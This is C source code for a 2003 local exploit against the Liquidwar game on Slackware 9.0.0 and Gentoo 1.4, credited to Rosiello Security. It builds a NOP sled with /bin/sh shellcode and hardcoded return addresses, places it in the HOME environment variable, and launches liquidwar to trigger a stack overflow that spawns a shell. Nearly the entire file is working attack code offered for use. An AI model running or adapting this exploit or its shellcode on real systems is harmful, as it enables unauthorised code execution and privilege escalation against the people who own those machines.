/* 
*
*                             http://www.rosiello.org
*             (c) Rosiello Security
*
* Copyright Rosiello Security 2003
* All Rights reserved.
*
* Tested on Slakware 9.0.0 & Gentoo 1.4
*
* Author: Angelo Rosiello
* Mail  : angelo@rosiello.org
* URL   : http://www.rosiello.org
* 
* Greetz: Astharot by Zone-H who posted the stack overflow bug
*
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* /bin/sh */
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP     0x90
#define LEN     520        //Buffer for Slackware 9.0.0
//#define LEN   528        //Buffer for Gentoo 1.4
#define RET     0xbffff414    //Valid Address for Slackware 9.0.0
//#define RET   0xbffff360    //Valid Address for Gentoo 1.4

int main()
{
  char buffer[LEN];
  long retaddr = RET;
  int i;


  fprintf(stderr, "\n(c) Rosiello Security 2003 - http://www.rosiello.org\n");
  fprintf(stderr, "Liquidwar's exploit for Slackware 9.0.0\n");
  fprintf(stderr, "by Angelo Rosiello - angelo@rosiello.org\n\n");
  fprintf(stderr, "using address 0x%lx\n",retaddr);

  for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr;

  for (i=0;i<(LEN-strlen(shellcode)-50);i++) *(buffer+i) = NOP;

  memcpy(buffer+i,shellcode,strlen(shellcode));

  /* export the variable, run liquidwar */

  setenv("HOME", buffer, 1);
  execl("/usr/games/liquidwar","liquidwar",NULL);

  return 0;
}